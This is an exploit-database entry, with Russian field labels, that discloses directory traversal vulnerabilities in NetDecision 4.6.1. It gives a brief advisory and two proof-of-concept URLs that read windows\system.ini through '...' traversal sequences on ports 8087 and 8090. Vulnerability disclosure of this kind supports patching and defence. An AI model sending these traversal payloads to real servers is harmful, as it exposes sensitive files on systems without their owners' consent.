Exploit NetDecision 4.6.1 - Multiple Directory Traversal Vulnerabilities

[Exploiter]

EDB-ID

36915

Проверка EDB

1. Пройдено

Автор

LUIGI AURIEMMA

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

null

Дата публикации

2012-03-07

NetDecision 4.6.1 - Multiple Directory Traversal Vulnerabilities

source: https://www.securityfocus.com/bid/52327/info

NetDecision is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

NetDecision 4.6.1 is vulnerable; other versions may also be affected. 

http://www.example.com:8087/...\...\...\...\...\...\windows\system.ini
http://www.example.com:8090/.../.../.../.../.../.../windows/system.ini